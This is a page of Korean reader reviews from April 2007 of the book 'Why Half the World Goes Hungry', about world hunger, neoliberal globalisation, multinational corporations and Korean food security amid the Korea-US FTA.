    리뷰줄이기
  • 왜 세계의 절반은 굶주리는가?
    텅빈하늘 | 2007년 04월 06일
    늦은 야근에 배고픔을 싣고서 전철에 올랐다. 그런데 책을 넘기던 내 얼굴이 달아올랐다. 영양실조로 시력을 잃거나 굶어 죽어가는 아이들의 비참한 현실앞에서 더 이상 나의 배고픔은 배고픔이 아니었다. 아니, 한끼를 먹지 않아도 이렇게 배가 고픈데 이 작은 아이들은 한달, 일년...... 그것도 아니다. 기약할 수 없는 날들을 굶주림속에서 지내야 한다니.... 막연히 느끼던 기아의 개념과 실상이 구체적으로 머릿속을 헤집고 들어왔다. 우리는 서구의 잘 사는 나라에서는 음식이 남아 돌고 있다는 사실과 아마존등 열대우림이 가축의 ...
    더 보기
    늦은 야근에 배고픔을 싣고서 전철에 올랐다. 그런데 책을 넘기던 내 얼굴이 달아올랐다. 영양실조로 시력을 잃거나 굶어 죽어가는 아이들의 비참한 현실앞에서 더 이상 나의 배고픔은 배고픔이 아니었다. 아니, 한끼를 먹지 않아도 이렇게 배가 고픈데 이 작은 아이들은 한달, 일년...... 그것도 아니다. 기약할 수 없는 날들을 굶주림속에서 지내야 한다니.... 막연히 느끼던 기아의 개념과 실상이 구체적으로 머릿속을 헤집고 들어왔다.

    우리는 서구의 잘 사는 나라에서는 음식이 남아 돌고 있다는 사실과 아마존등 열대우림이 가축의 방목을 위해 파헤쳐지고 있다는 사실을 잘 알고 있다. 세계 식량 구조의 모순에 대해 환경문제와 더불어 어느 정도 직시하고 있는 것이다.

    그러나, 이 책은 그 이상이다. 도대체 왜 아이들이 굶어 죽어야만 하는 것인지? 그 비참한 현실과 그 뒤에 숨겨진 추악한 서구자본주의와 자신의 경제이득을 위해서는 남아야 죽던 말던 신경쓰지 않는 무자비한 경제동물의 잔인함을 그대로 드러내 보여주는 것이다.

    그리 많지 않은 분량의 책에서는 참으로 많은 이야기를 들려준다. 그리고 그 몇 배의 과제를 우리에게 안겨준다. 식량문제를 근본적으로 생각해보기에는 인간의 본성부터 다시 생각해보아야 할지도 모른다. 원래 인간은 추악한가? 아니면 사회구조와 욕망의 사슬이 함께 묶여져서 추악함을 만들어내는 것인가? 이렇게 인간의 근원을 생각해 보는 것은 식량문제와 굶어 죽어가는 아이들의 문제가 인간의 종안에서는 결코 해결되지 않으리라는 직감탓이다.

    책에 보면 이런 내용이 나온다. 세계적인 다국적 기업이 있다. 이름만 들어도 높은 브랜드를 지닌 회사 말이다. 이들의 목적은 최대의 경제이득에 있다. 그런데 자사의 물건을 대량으로 소비해주던 가난하고 부패하던 나라가, 혁명과 개혁을 통해 자급자족을 취하려고 했다. 가난함을 벗어나 우리도 스스로 한 번 잘 살아보자는 경제혁신정책을 펼쳤던 것이다.

    그러나 자사의 물건을 팔아먹을 기회가 줄어든 다국적 기업은 강대국에 로비를 통해 상대적으로 힘이 약한 나라에서 쿠테타를 유발시켜 개혁세력을 죽음으로 몰아 넣는다. 그리하여 가난에 굶주리던 나라는 끝없는 가난의 수렁속에 빠져들게 된다. 부패한 관료들이 지배하는 나라가 다국적기업의 경제적 이득에 더 부합되기 때문이다. 실패한 개혁으로 굶어 죽어가는 아이들이 있든 없든 그들에게는 안중에 없다. 죽던 말든 그것은 알 바 아닌 것이다.

    기업이야 이윤추구의 목적을 지닌 집단이니 그렇다 치자. 신을 믿고 정의를 믿는다는 초일류 강대국조차 자국의 이득을 위해 가난하고 부패한 나라는 늘 그대로 있는 것을 선호한다. 그들이 자주적인 주권을 찾고 민주화가 되고 경제적 독립을 함으로서 자급자족하는 세계가 되는 것을 좋아하지 않는다는 것이다. 그 결과 가난한 나라는 그 굴레를 벗어날 수 없는 악순환이 재연될 수 밖에 없다.

    어쩌면 그러한 비극은 물질문명의 급속한 발전의 계기가 된 산업혁명에서 시작되었는지도 모른다. 산업혁명의 결과 노동집약적 산업의 발달은 도시화를 낳았고 이는 환경파괴의 주범이 되었다. 또한 대량생산으로 인한 잉여생산물로 인해 새로운 식민주의를 낳고 그것은 멀쩡히 잘 살아가던 평화롭던 작은 나라들을 파괴시켰다. 더불어 그들의 오랜 관습과 풍속, 심지어 입맛까지도 단일하게 만들어 놓았다. 거대 기업인 맥도널드나 KFC처럼 말이다. 과연 서구자본주의의 물질문명의 높은 발달이 전지구적인 차원에서 인류 모두에게 더 높은 행복을 가져다 준 것일까?

    희망은 어디에?
    jedu | 2007년 04월 06일
    작년부터였나, 딸 아이의 이름으로 '월드비전'에 후원금을 조금씩 보냈다. 기아로 굶주리는 사람들을 향한 '인류애'의 발현이라기 보다는, 크리스챤으로서의 의무감, 그리고 딸아이의 교육적 차원이였던 것이 맞는 것 같다. 사실, 기아는 그들의 문제였고, 내가 구체적으로 할 수 있는 것은 없어서, 약간의 후원금을 보내는 것으로 나의 책임을 면하려 한 것인지도 모르겠다. 김혜자의 「꽃으로도 때리지 말라」,한비야의 「지도밖으로 행군하라」와 같은 책에서도 전 세계 곳곳에서 일어나는 기아의 참상을 고발하며, 그들의 고통을 줄이...
    더 보기
    작년부터였나, 딸 아이의 이름으로 '월드비전'에 후원금을 조금씩 보냈다. 기아로 굶주리는 사람들을 향한 '인류애'의 발현이라기 보다는, 크리스챤으로서의 의무감, 그리고 딸아이의 교육적 차원이였던 것이 맞는 것 같다. 사실, 기아는 그들의 문제였고, 내가 구체적으로 할 수 있는 것은 없어서, 약간의 후원금을 보내는 것으로 나의 책임을 면하려 한 것인지도 모르겠다.

    김혜자의 「꽃으로도 때리지 말라」,한비야의 「지도밖으로 행군하라」와 같은 책에서도 전 세계 곳곳에서 일어나는 기아의 참상을 고발하며, 그들의 고통을 줄이기 위해 동참해 줄 것을 호소하고 있다. 그들이 직접 세계 곳곳을 다니며 눈으로 보고 경험한 것을 쓴 것이기에 충분히 우리의 정서를 자극하며 설득력있게 이야기하고 있다.
    하지만, 분쟁이나 열악한 환경외에 발생하는 다양한 기아의 원인과 그 대안에 대해서는 구체적으로 말해 주지는 못했는데, 바로 이 책, 「왜 세계의 절반은 굶주리는가? 」는 기아의 원인과 그 영향에 대해서 아주 실제적이고 구체적인 정보와 깊이있는 관점으로 자세하게 말하고 있다.
    즉, 기아의 표면적 현상을 넘어, 어떤 사람들이 그러한 상황 가운데에서도 부당한 이득을 취하고 있는지, 또한 그 이득들은 어떻게 재생산되고 있는지 상세히 알려준다. 또한 아프리카 어느 한 곳의 정보에 머무르지 않고, 북한을 비롯하여 남미, 러시아, 동남아시아 등 세계 곳곳의 기아에 대해서 아들에게 설명하듯이 쉬운 문체로 풀어서 설명하고 있다.

    120억의 인구가 충분히 먹고도 남을 식량이 생산되고 있는데도, 왜 그렇게 많은 사람이 굶주리고 있는가. 하루에 10만명이, 5초에 한명꼴로 어린이가 죽어가고 있고, 비타민 A가 부족하여 시력을 상실하는 사람이 3분에 한명꼴이라고 한다. 세계 인구의 7분의 1에 이르는 8억5천만명이 심각한 만성 영양실조 상태에 있다고 한다. 문제는 이 기아현상이 점점 더 증가하고 있다는 것이다.
    기아는 자연재해로 인하여 발생하기도 하지만, 전쟁으로 인해 난민이 발생하여 굶주리기도 하며, 경제 사회구조로 인해 발생되는 기아도 있다. 또한 날이 갈수록 심각해지는 사막화 현상으로 인하여 굶주림이 더욱 증폭되기도 한다.
    이러한 기아의 여러가지 원인들 중에서도, 내게 위협적으로 다가왔던 것은 바로 글로벌화, 즉 '신자유주의'였다. 무한경쟁 원리에 의하여 자본이 큰 힘을 소유하게 되며 더욱 큰 부를 쌓게 되지만, 가난한 사람들은 더욱 더 굶주림에 내몰리게 된다. 수천만명이 기아로 사망하고 수억만명이 만성적 영양실조로 시달리는 기아를, 불합리하고 독선적인 세계 경제 질서가 결코 해결할 수는 없다.

    유엔마저도 어떻게 할 수 없는 이 안타까운 현실 가운데서는 나같은 작은 개인이 할 수 있는 일이란 전혀 없어 보인다.
    과연 희망은 어디 있는가.
    대체 희망이란 단어를 이 커다란 벽 앞에서 말할 수 있는 것인가.
    그러나 저자는 책을 여는 글에서 이렇게 말한다.

    "희망은 어디에 있는가.
    인간의 기본적인 권리가 무참이 짓밟히는 현실, 그 아픔을 내 아픔으로 느낄 줄 아는 유일한 생명체인 인간의 '의식변화'에 희망이 있다."고.
    리뷰줄이기
  • 우리에게 들려주는 기아 문제의 진실
    자유 | 2007년 04월 07일
      전세계적으로 기아 상태에 허덕이는 사람들이 있다는 것은 이미 잘 알려진 일. 기아 문제에 크게 관심을 갖지 않더라도 굶주림에 시달리는 나라의 이름 몇 개 쯤은 쉽게 떠올릴 수 있을 것이다. 우리의 한 끼 식사가 아프리카에서는 여러 사람의 식사가 될 수 있다는 것도 익히 들어온 사실. 그런데 기아 문제야말로 모두가 잘 아는 것 같지만 정작 정확히 아는 바는 없는 그런 종류의 문제는 아닐까. 기아에 허덕이는 지역에 태어나지 않았음을 감사하면서, 그들을 돕는 일이 '구멍난 독...
    더 보기
      전세계적으로 기아 상태에 허덕이는 사람들이 있다는 것은 이미 잘 알려진 일. 기아 문제에 크게 관심을 갖지 않더라도 굶주림에 시달리는 나라의 이름 몇 개 쯤은 쉽게 떠올릴 수 있을 것이다. 우리의 한 끼 식사가 아프리카에서는 여러 사람의 식사가 될 수 있다는 것도 익히 들어온 사실. 그런데 기아 문제야말로 모두가 잘 아는 것 같지만 정작 정확히 아는 바는 없는 그런 종류의 문제는 아닐까. 기아에 허덕이는 지역에 태어나지 않았음을 감사하면서, 그들을 돕는 일이 '구멍난 독에 물긷기'라는 생각을 하고 있는 것은 혹시 아닐지.

      
    이 책은 유엔 식량 특별 조사관이 세계의 기아 문제에 대한 아들의 질문에 답하는 형식으로 씌어졌다. 우리 주변에서는 비만이 문제시되고 음식 쓰레기가 넘쳐나는 판국인데 왜 어떤 지역은 심각한 굶주림에 시달리느냐는 질문에서부터 시작된다. 굶주림은 개인의 문제가 아니라 사회적이고 구조적인 문제라는 점은 익히 알고 있었으나, 저자의 지적과 사례는 더욱 구체적이고 생생하다. 저자는 인구 과잉에 대한 최선의 대응으로서의 자연 도태를 주장한 멜더스의 인구론이 기아 문제를 무시하거나 합리화하는 이론으로 기능한다는 점을 지적한다. 특히 과거 아프리카를 식민 통치를 했던 유럽의 국가들이 아프리카 정부의 건전한 자립을 막고 있다는 점, 마찬가지로 라틴 아메리카에 개입하는 자본가와 미국, 플랜테이션 농업이 낳는 구조적인 결함 등도 기아가 왜 구조적인 문제인지 알려주고 있다. 

      기아 문제를 해결하는 데 있어서 건전한 정부의 성립과 지속적인 노력은 필수적인 조건이다. 이 점에서 이름도 낯선 나라 부르키나파소의 젊은 대통령 상파라의 도전과 좌절은 시사하는 바가 크다. 의욕적으로 국가 시스템의 개혁에 나섰고 기아 문제를 해결할 수 있는 싹이 트기 시작했지만, 프랑스의 사주를 받은 정적에 의해 대통령이 암살되면서 그 싹은 이내 꺾이고 만다. 스스로 문제를 해결할 수 있음을 보여주면서도 또한 그것이 얼마나 어려운지를 보여주는 안타까운 사례가 아닐 수 없다. 기아 문제는 아이러니하게도 먹거리를 생산하는 농민들에게 가장 심각하고, 도시난민의 기아 문제도 점점 커지고 있으며, 수적으로는 아프리카보다 아시아에 더욱 굶어죽는 사람이 많다는 점도 인상에 남는다. 

      인위적이지 않고 자연스럽게 이어지는 질문들은 무거운 주제를 다룬 이 책을 읽어가기 쉽게 하고, 또한 나 스스로도 답을 생각해 보고 질문을 제기하도록 만들기도 한다. 특히 논란이 되고 있는 북한에 대한 지원 문제에 대해서, 저자가 짧지만 단호하게 언급한 부분이 참고할 만 하다고 본다. 국제 구호 자금이나 물품을 다른 용도로 빼돌린다 해도 그들에게 지원을 계속해야만 할까? 저자는 그럼에도 불구하고 지원이 되어야 한다고 말한다. 가장 중요한 것은 생명이며, 단 한 명의 아이라도 더 살릴 수 있다면 그 모든 손해를 보상받게 된다는 것이다. 

    리뷰줄이기
  • 우리는 굶지 않는다고 자신하는가?
    빨간포도 | 2007년 04월 08일
    혹시 나처럼 인문사회계열의 책을 읽기 부담스러워하는 사람이라도 두려워 말라! [왜 세계의 절반은 굶주리는가?]는 비록 표지사진과 글의 폰트같은 책의 외모가 전형적으로 부담스러운 모양새이나 그 속을 들여다보니 아빠와 아들이 묻고 답하는 형식으로 씌여있다. 그러니 어렵고 복잡한 이야기일 수 있겠는가? 아빠가 아들에게 쉽고 명확하고 진실되게 설명하는 것을 독자는 그저 따라가기만 하면 된다. 단! 그 용이한 독서 후에는 거대한 파장이 기다리고 있으니 기대수준을 너무 낮추지 말 것!아...
    더 보기

    혹시 나처럼 인문사회계열의 책을 읽기 부담스러워하는 사람이라도 두려워 말라! [왜 세계의 절반은 굶주리는가?]는 비록 표지사진과 글의 폰트같은 책의 외모가 전형적으로 부담스러운 모양새이나 그 속을 들여다보니 아빠와 아들이 묻고 답하는 형식으로 씌여있다. 그러니 어렵고 복잡한 이야기일 수 있겠는가? 아빠가 아들에게 쉽고 명확하고 진실되게 설명하는 것을 독자는 그저 따라가기만 하면 된다. 단! 그 용이한 독서 후에는 거대한 파장이 기다리고 있으니 기대수준을 너무 낮추지 말 것!
    아빠는 유엔 식량특별조사관이다. 그의 임무가 무엇이냐 하면 '유엔기구에서 아동 구호와 식량문제에 관련된 일을 처리하고 대책을 세우고 현장에 직접 파견되어 상황에 맞는 의사결정을 내리는' 것이다. 말하자면, 가끔 아프리카 기아난민의 모습이나 굶고 헐벗은 북한 주민의 모습이 뉴스에 나올 때 그 상황이나 대책을 묻는 인터뷰 대상자다. 난 솔직히 그런 인터뷰 대상자에 대한 신뢰가 적었다. 나쁘게 표현하면 '착한' 일을 하는 착한 사람은 더러 있지만 그게 그저 착해서만 해결되는 일인가, 말마따나 밑빠진 독 물붓기 아닌가, 라는 생각 때문이었다. 하지만 아빠, 즉 저자는 처음부터 끝까지 이렇게 말하고 있다. '그럼에도 불구하고 지원이 되어야 한다. 가장 중요한 것은 생명이며, 단 한 명의 아이라도 더 살릴 수 있다면 그 모든 손해를 보상받게 된다'라고.
    저자는 기아의 실태와 원인, 지원책을 다양한 사례를 들어가며 설명하고 있다. 충격적인 것은 오늘날 지구상의 인구가 먹고도 남을 만큼의 식량이 생산되고 있지만 하루에 10만명이, 5초에 한 명의 어린이가 굶어 죽어가고 있다는 사실. 이처럼 기아 실태를 극명하게 보여주는 데이터는 처음 보는 것 같다. 그러나 더욱 충격적인 것은, 짐작가능하듯 기아에 허덕이는 나라에는 부패하고 나태한 정부와 관료가 있고, 그들은 서구 열강과 거대기업의 손아귀에서 놀아나고 있다는 사실이다. 지금은 독립국이지만 과거 유럽의 식민지국가가 많았던 아프리카와 남아메리카의 기아 원인이 여기에 있으며, 지금까지도 그들의 보이지 않는 종속관계가 이어지면서 종국은 부(富)를 얻고, 속국은 기아를 얻고 있다는 것이다. 칠레의 아옌데 정부가 자국의 어린이에게 분유를 무상공급하기 위해 분유를 구매하려 한 요청을 거부했던 세계2위 식품회사 네슬레와 이를 뒤에서 조종한 미국의 행태가 놀랍지 않은가? 겉으로는 '아름다운 푸른 별 지구'일지언정, 속으로는 자본과 욕망으로 썩어가는 추악한 별이라니!  
    나의 뇌와 심장을 가장 강하게 충격한 것은 '11장-시장가격의 이면'이다. 조금 길지만 옮겨보겠다. "물론 이른바 수요와 공급의 법칙에 따라 정해진단다. 그러나 또한 일부 곡물 메이저와 그 밑의 투기꾼들의 조작을 통해서도 결정돼. 덤핑전략이나, 또는 반대로 시장에서 상품을 거두어들이는 전략을 통해서 말이야.(중략) 가격은 단 한 가지 원칙에 복종해. 바로 이윤극대화라는 원칙이지.(중략) 그들의 원하는 것은 오직 매주 수백만 달러를 더 벌어들이는 것이지. 배고픈 자들의 고통? 맙소사, 그들을 위해서는 유엔이 있고 국제적심자가 있잖아 하는 식이란다."
    저자의 설명에서 두려움을 느끼는가? 현재진행형인 우리나라와 미국과의 FTA협상문제를 생각해보자. 무수한 이론과 의견, 정책 등과 관계없이 우리나라 농산물 시장을 개방하는 쪽으로 흘러가고 있다. 사실 이미 개방된 작물도 상당히 많고, 이미 우르과이라운드에서 쌀시장의 단계적 개방이 약속되어 실행중이다. 청포도와 오렌지, 바나나가 흔하디 흔하고, 수입쌀은 대체로 단체급식용이나 사료용으로 사용되고 있는 현상황. FTA를 거론하며 가장 크게 대두되는 이슈는 '농업의 경쟁력'인데, 사실 경쟁력으로 놓고 보면 우리가 농업을 붙들고 늘어질 이유가 없을 수도 있다. 경쟁력에서 밀리는 것이 사실이고, 또 반도체나 자동차같은 경쟁력있는 제품을 수출하고 그 돈으로 값싼 수입농산물을 수입하면 된다는 논리 또한 그럴 듯 하다. 그러나 이 책의 저자가 말했듯이, 국제적으로 농산물 가격은 소수의 메이저배급사 마음에 달렸다. 우리가 싼 값에 먹거리를 들여올 수 있다는 것을 어떻게 자신하는가? 누가 싼 값에 주겠다고 약속했는가? 우리가 농업을 포기하고 결국 농산물 생산이 불가능한 시기에 맞닥뜨리면 그 때부터 우리의 생존권은 남의 손에 달린다. 쌀 한 톨을 100만원에 사겠다고 해도 그들이 주지 않으면 쌀 한 톨도 없는 것이다. 그래서 식량안보라는 말이 나오고, 농업을 지켜야 한다는 주장이 나오는 것이다. 저자가 시장원리주의를 논하며 이야기한 '무엇이 인간에게 진정으로 필요한 것인가, 무엇이 사회에 진정으로 필요한 것인가를 따지지 않은 채 그저 경제합리성이라는 구호만이 난무하고 있다'고 역설한 것을 귀기울여 들어야 할 것이다. 
    또 세네갈의 경우를 보자. 세네갈의 주식은 쌀. 세네갈은 비옥한 땅과 근면한 농민들이 있었음에도 불구하고 프랑스 식민지 시절 오로지 땅콩만을 경작하게 되어 지금까지도 땅콩을 유럽에 수출하고 진짜 그들이 먹어야 하는 쌀은 수입하는 시스템이 고착되었다고 한다. 게다가 해마다 해외 식량의존도는 더욱 높아지고 있단다. 과연 우리가 경쟁력없는 농업을 포기한 후 후회한들 우리가 먹을 식량을 다시 생산해 낼 수 있다고 생각하는가? 어렵다. 이미 논은 논이 아니고, 농민은 사라졌기 때문이다(십중팔구 도시빈민으로 굶주리고 있을 것이다). 
    [왜 세계의 절반은 굶주리는가]는 오로지 자본과 이익, 욕망과 이해관계를 따라서만 움직이고 있는 이 세상의 추악한 모습을 보여주고 있다. 그러한 상황이 지구상의 절반을 굶어 죽게 하고 있으면서도 짐짓 모른 척하거나 방관하거나 전혀 알고 알리려는 노력을 기울이지 않고 있다. 나 또한 이 책을 읽기 전까지는 기아의 실태를 제대로 알지 못했고, 제대로 알아보려는 노력을 해보지도 않았던 것 같다. 그저 내가 굶주림에 시달리지 않는 나라에 살고 있음을 감사히 여겼을 뿐. 하지만, 앞서 말했듯이 다른 나라의 이야기만은 아닐 수도 있다. 어쩌면 우리가 곧 닥쳐야 할지도 모를 일이고, 다행히 그렇지 않다 해도 지구상의 누군가가 당하고 있는 일이라면-더욱이 그렇게 된 원인을 알았다면- 분개하고, 고통을 나누어야 하는 것이 정상적인 인간일 것이다. 
    저자가 1999년에 집필한 이 책이 왜 이제서야 출판었을까. 우리나라와 관계하여 생각해 볼 거리가 많은 책. 우리나라 청소년 이상 모든 이에게 권하며, 깊이 생각하고 고민해보았으면 좋겠다.
    리뷰줄이기

  • 신자유주의와 세계화의 폐해
    봄햇살 | 2007년 04월 08일
    요즘 한미 FTA 문제로 시끄럽다. 한때는 세계화를 외치지 않으면 혼자 도태되는 양 모두가 세계화를 외치던 때가 있었다. 물론 그것은 아직도 유효하다. 기업은 기업대로 정부는 정부대로... 거기에 따라 개인들은 이리 저리 휩쓸려 다녀야했다. 그러나 지금 그 세계화를 외친 결과는 무엇일까. 이제 경쟁상대가 나라 안에서만 존재하는 것이 아니라 세계로 확대되었다는 것? 부자들은 더욱 부자가 되어 주체할 수 없을 정도가 되었고, 없는 자들은 더욱 힘든 빈익빈 부익부만 심해졌을 뿐... 이제는 너무 상투...
    더 보기

    요즘 한미 FTA 문제로 시끄럽다. 한때는 세계화를 외치지 않으면 혼자 도태되는 양 모두가 세계화를 외치던 때가 있었다. 물론 그것은 아직도 유효하다. 기업은 기업대로 정부는 정부대로... 거기에 따라 개인들은 이리 저리 휩쓸려 다녀야했다. 그러나 지금 그 세계화를 외친 결과는 무엇일까. 이제 경쟁상대가 나라 안에서만 존재하는 것이 아니라 세계로 확대되었다는 것? 부자들은 더욱 부자가 되어 주체할 수 없을 정도가 되었고, 없는 자들은 더욱 힘든 빈익빈 부익부만 심해졌을 뿐... 이제는 너무 상투적이고 뻔한 문제라서 이것을 거론하는 것조차 진부해 보이기까지 하다. 그러나 반드시 해결해야 할 과제이기도 하다. 그것을 해결하지 않으면 지구의 미래는 결코 밝지 않다.


    당장 나와 관련 없는 문제들은 크게 관심 갖지 않고 피부에 와 닿지도 않는 것이 일반인이 살아가는 현실이다. 일례로 FTA를 반대하며 시위를 하는 사람을 보더라도 그와 직접적인 관련이 없는 사람은 그냥 시위를 하는구나...라던가 불이익을 많이 당하겠구나 정도지 그들의 문제를 심각하게 받아들이지 않는다. 그저 내가 사용하는 물건의 가격이 내려가면 반기는 것이 고작이다. 한 나라 안에서도 그럴진대 하물며 우리와 거리적으로, 심리적으로 먼 아프리카나 서아시아의 기아 문제를 심각하게 받아들일 리 없다. 나도 그들의 문제를 막연하게 이성적으로 생각할 뿐 감성적으로는 공감이 안 된다. 그렇게 먹을 게 없으면 다른 땅으로 이주하면 되지 않을까, 아니면 좀 더 노력하면 되지 않을까라는 '망상'을 하고 있었다. 그렇다. 망상이라고 말하고 싶다. 그들은 아무런 노력도 하지 않고 무기력하게 굶어 죽는 사람이 대부분이라고 생각했다. 이것이 얼마나 무지한 생각이었던지...


    부르키나파소에서 개혁을 단행해 집권한 지 얼마 되지 않아 식량 문제를 해결했던 상카라의 예를 보며 희망을 보았고 뒤이어 그의 암살에서 절망을 보았다. 아무리 외적 조건이 갖추어져 있다 해도 그 구성원들의 노력이나 의식개혁 없이는 경제적 자립이 이루어지지 않나보다. 많은 사람들이 어떤 것이 옳은 것인지 알고 있음에도 몇몇 개인이 자신의 욕심 때문에 다시 원점으로 되돌려 놓는 것을 보며(물론 주변의 강대국들이 상당한 역할을 하기도 했지만...) 한심하기까지 했다. 왜 그 나라 국민들은 그것을 모르는 것일까. 아마도 국민들 의식이 깨어 있다면 적어도 어느 것이 정당한 것이며 옳은 것인지 볼 수만 있다면 그렇게 무기력하게 당하고만 있지는 않을 텐데... 그러기에 교육은 무엇보다 우선시 되어야 하는 중요한 과제라고 생각한다.


    저자는 많은 나라에서 기아를 문제로 다루지 않는다고 지적한다. 그러고보니 환경문제 등은 많이 거론되고 있지만 기아 문제는 어쩌다 연례 행사로 나오는 것이 고작이었던 것 같다. 그것도 항상 동일한 레파토리를 가지고 반복된다. 기아 하면 아프리카의 어린 아이가 눈은 동그랗고 배는 볼록하며 다리는 뼈에 가죽만 붙어 있는 형상을 한 모습이 연상되니 말이다. 아마도 TV에서 주로 그런 모습만 보았기 때문이겠지. 또한 저자는 기아에 대해 뜬구름 잡는 식의 정서적인 대응은 별 도움이 안된다고 꼬집는다. 그러나 돌이켜보니 나도 모호한 이상이나 현실과 동떨어진 인간애만 가지고 있을 뿐 구체적인 실태나 대응 방안에 대해서는 제대로 아는 것이 없다. 나 또한 그렇게 교육되어진 것이었다. 그 와중에도 간혹 직접 행동하는 사람들의 이야기를 접하면서 부끄러움과 함께 안도감을 느끼곤 한다. '인간애'는 가지고 있기에...


    이 책은 2000년에 독일에서 출간된 책을 이번에 내놓은 책인데 마지막 부분에서 세계화와 신자유주의에 대한 이야기를 하고 있어 마치 요즘에 씌어진 책인 양 착각하게 만든다. 그렇잖아도 요즘 세계화가 많은 비판을 받고 있는데 저자도 거기에 동참하는 셈이다. 책을 덮으며 안타까움과 분노, 그리고 무기력감을 느꼈다. 과연 이 시점에서 바뀔 가능성이 있는 것은 무엇일까. 불행하게도 없어 보인다. 오로지 각 나라 사람들이 스스로 경제자립을 이루려고 끊임없이 노력하고 싸워야 할 뿐이다. 그나마도 강대국들이나 다국적 기업들이 방해하면 쉽지 않지만 말이다. 그에 맞서기 위해서는 일단 의식이 깨어 있어야 하는데 그것도 배 부를 때 이야기다. 그러니 문제는 계속 같은 자리를 맴돌기만 한다.


    리뷰줄이기
  • 고통의 절반은 타인의 책임
    술패랭이 | 2007년 04월 09일
    가장 먼저 떠 오른 것은 세계화라고 부르짖는 것에 대한 구조적인 모순에 대한 반감이다. 지구상의 모든 나라가 세계화 되고 함께 사는 사회에 발맞추고 있는가 하면 그렇지 않다는 것은 누구나 다 알고 있다.그 세계화라는 이름 속에서 가장 멍들고 있는 나라들은 강대국을 제외한 대다수의 나라이면 신음 소리조차 들리지 않은 채 방치되고 있는 나라들을 적잖이 책 속에서 만날 수 있다. 사람의 세상 살이에서 가장 기본이 되는 것은 무얼까? 자아실현? 그것도 가장 기본이 되는 의식주가 해결이 되었을 때 가능한 일이다. 가장 기...
    더 보기
    가장 먼저 떠 오른 것은 세계화라고 부르짖는 것에 대한 구조적인 모순에 대한 반감이다. 지구상의 모든 나라가 세계화 되고 함께 사는 사회에 발맞추고 있는가 하면 그렇지 않다는 것은 누구나 다 알고 있다.그 세계화라는 이름 속에서 가장 멍들고 있는 나라들은 강대국을 제외한 대다수의 나라이면 신음 소리조차 들리지 않은 채 방치되고 있는 나라들을 적잖이 책 속에서 만날 수 있다.

    사람의 세상 살이에서 가장 기본이 되는 것은 무얼까? 자아실현? 그것도 가장 기본이 되는 의식주가 해결이 되었을 때 가능한 일이다. 가장 기본은 역시 먹고 사는 문제이다. 누구도 이 문제에서 자유로울 수 없다. 만약 내 식탁이 누군가에 의해서 지배되고 나도 모르는 사이에 빼앗겨 버렸다면 분노하지 않을 사람이 어디있는가? 그런데 그 문제가 보여지지 않는 국제사회 속에서는 가능하다는 것이 참 어처구니 없다.

    기아로 허덕이는 아프리카의 많은 국가들에게 원조나 지원이라는 이름으로 뿌려지는 먹거리가 그들의 순간적인 배고픔은 해결하는 구원의 손길이 될 지도 모르나 근본적인 구조적 문제를 해결하지 않는한 그들에게 이런 배고픔의 순환은 불 보듯 뻔하다는 것이다. 최대한 약소국을 존중하고 그들이 살아갈 길을 헤치지 않는 범위내에서 자국의 이익을 취할 강대국이 없다는 것이 이런 비극을 낳는 가장 큰 원인이다. 자국의 이익을 취하는 것은 기본이기는 하지만 그 도가 항상 지나치고 이외의 국가를 배려하지 않음이 우리 지구를 배고프게 하는것이다.

    이익이 되지 않으면 협상을 할 수 없고 이익이 되지 않을면 남는 의식을 섞도록 내버려 둘 지언정 원조라는 손길도 쉽사리 뻗지 않는 강대국의 모습에 환멸이 느껴진다. 솔직히 이런 구조적인 모순을 읽으면서 작게는 내 주변을 돌아보게 된다. 지금 도움이 손길이 필요한 곳에 최소한의 봉사라도 하고 있는 사람들이 몇이나 되는가? 장애인 단체나 고아원 등에 기부 행위를 하는 사람 조차 사실 찾아 보기 힘들다. 가장 큰 이유는 나와는 상관없음이고 한 번 시작하면 빠져나오기 힘들다는 번거로움 때문이라고 말하는 사람들이 많다. 그런 것이 강대국 간에도 마찬가지일 수 있지만 우선은 이런 비판을 하면서 나의 모습, 내 이웃의 모습에서 주변을 돌보는 손길이 너무 미흡하다는 반성도 해보게 된다.

    가장 중요한 것은 언제든 구조적인 모순을 해결하는데 있다. 단순 원조가 아닌 이들이 살 수 있는 터전을 헤치지 않고 자국 스스로 일어서려는 지도자들의 각성으로 허덕이는 국민들을 살려야 할 것이다. 얼마전에 타결된 한미 자유무역협정에 대해서도 이제 미국이라는 큰 시장을 얻었다.라는 환호를 보내기 보다는 그 미국시장에 잠식될 우리 시장과 우리 농산물을 걱정하는 목소리가 높다는 것을 안다. 그건 우리도 알고 있는 위험스러움이 도사리고 있다는 것이다. 책을 읽으면서 기아에 허덕이는 이들의 고통의 절반은 본인이 아닌 타인에 의해 만들어졌음을 인정하면서 스스로가 아닌 전 세계의 인식의 변화로 기아속에서 이들의 끌어내야 한다는 생각이 든다.

    리뷰줄이기
  • 아픈 현실이지만 바로 알아야 한다.
    여유로움 | 2007년 04월 09일
    방한중인 장 피에르 드 마저리 유엔 세계식량계획 WFP 평양사무소 대표는 29일 "북한의 식량 위기상황은 매우 심각하며, 이러한 상황을 극복하기 위해 한국정부의 지원이 필요하다"고 밝혔다. 드 마저리 대표는 이날 오후 서머셋 호텔에서 가진 기자회견에서 "세계식량계획(WFP)은 북한에 필요한 식량을 제공할 준비가 돼 있지만 이는 지원국의 도움을 통해서만 가능하다"며 이같이 말했다. 그는 "북한에서 식량 공급은 매일 매일의 투쟁과 같다"며 "이는 지난해의 수해와 그로 인한 농경지 손실 그리고 WFP 등의 국제 구호단체를 통한 공...
    더 보기
    방한중인 장 피에르 드 마저리 유엔 세계식량계획 WFP 평양사무소 대표는 29일 "북한의 식량 위기상황은 매우 심각하며, 이러한 상황을 극복하기 위해 한국정부의 지원이 필요하다"고 밝혔다.
    드 마저리 대표는 이날 오후 서머셋 호텔에서 가진 기자회견에서 "세계식량계획(WFP)은 북한에 필요한 식량을 제공할 준비가 돼 있지만 이는 지원국의 도움을 통해서만 가능하다"며 이같이 말했다.
    그는 "북한에서 식량 공급은 매일 매일의 투쟁과 같다"며 "이는 지난해의 수해와 그로 인한 농경지 손실 그리고 WFP 등의 국제 구호단체를 통한 공여국의 지원이 줄어들었기 때문"이라고 설명했다.
    그는 또 "대표적 북한 식량 지원국이었던 한국과 중국마저 북핵 사태 등을 이유로 북한에 대한 원조를 중단하면서 북한의 식량부족이 한층 심화되었으며, 이는 가장 취약한 계층인 임산부나 산모, 5세 미만의 어린이에게 직접적 영향을 미치고 있다"며 "지금 당장 도움을 주지 않는다면 곧 다가올 춘궁기에 북한 주민들의 식량 위기는 명확하게 드러날 것"이라고 호소했다.
